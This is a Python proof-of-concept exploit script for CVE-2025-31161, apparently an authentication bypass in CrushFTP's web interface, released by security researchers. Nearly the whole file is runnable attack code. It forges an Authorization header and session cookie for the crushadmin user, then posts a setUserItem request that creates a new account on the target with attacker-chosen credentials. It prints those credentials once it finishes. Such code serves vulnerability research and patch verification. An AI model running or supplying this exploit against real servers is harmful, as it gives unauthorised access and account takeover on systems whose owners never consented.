# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive # https://github.com/Immersive-Labs-Sec/CVE-2025-31161 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import requests from argparse import ArgumentParser def exploit(target_host, port, target_user, new_user, password): print("[+] Preparing Payloads") # First request details warm_up_url = f"http://{target_host}:{port}/WebInterface/function/" create_user_url = f"http://{target_host}:{port}/WebInterface/function/" headers = { "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", "Connection": "close", } payload = { "command": "setUserItem", "data_action": "replace", "serverGroup": "MainUsers", "username": new_user, "user": f'{new_user}{password}1.0/60(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT){target_user}1744120753370', "xmlItem": "user", "vfs_items": '', "permissions": '(read)(view)(resume)', "c2f": "31If" } # Execute requests sequentially print(" [-] Warming up the target") # we jsut fire a request and let it time out. try: warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20) if warm_up_request.status_code == 200: print(" [-] Target is up and running") except requests.exceptions.ConnectionError: print(" [-] Request timed out, continuing with exploit") print("[+] Sending Account Create Request") create_user_request = requests.post(create_user_url, headers=headers, data=payload) if create_user_request.status_code != 200: print(" [-] Failed to send request") print(" [+] Status code:", create_user_request.status_code) if 'OK' in create_user_request.text: print(" [!] User created successfully") if __name__ == "__main__": parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account") parser.add_argument("--target_host", help="Target host") parser.add_argument("--port", type=int, help="Target port", default=8080) parser.add_argument("--target_user", help="Target user", default="crushadmin") parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount") parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple") args = parser.parse_args() if not args.target_host: print(" [-] Target host not specified") parser.print_help() exit(1) exploit( target_host=args.target_host, port=args.port, target_user=args.target_user, new_user=args.new_user, password=args.password ) print(f"[+] Exploit Complete you can now login with\n [*] Username: {args.new_user}\n [*] Password: {args.password}.")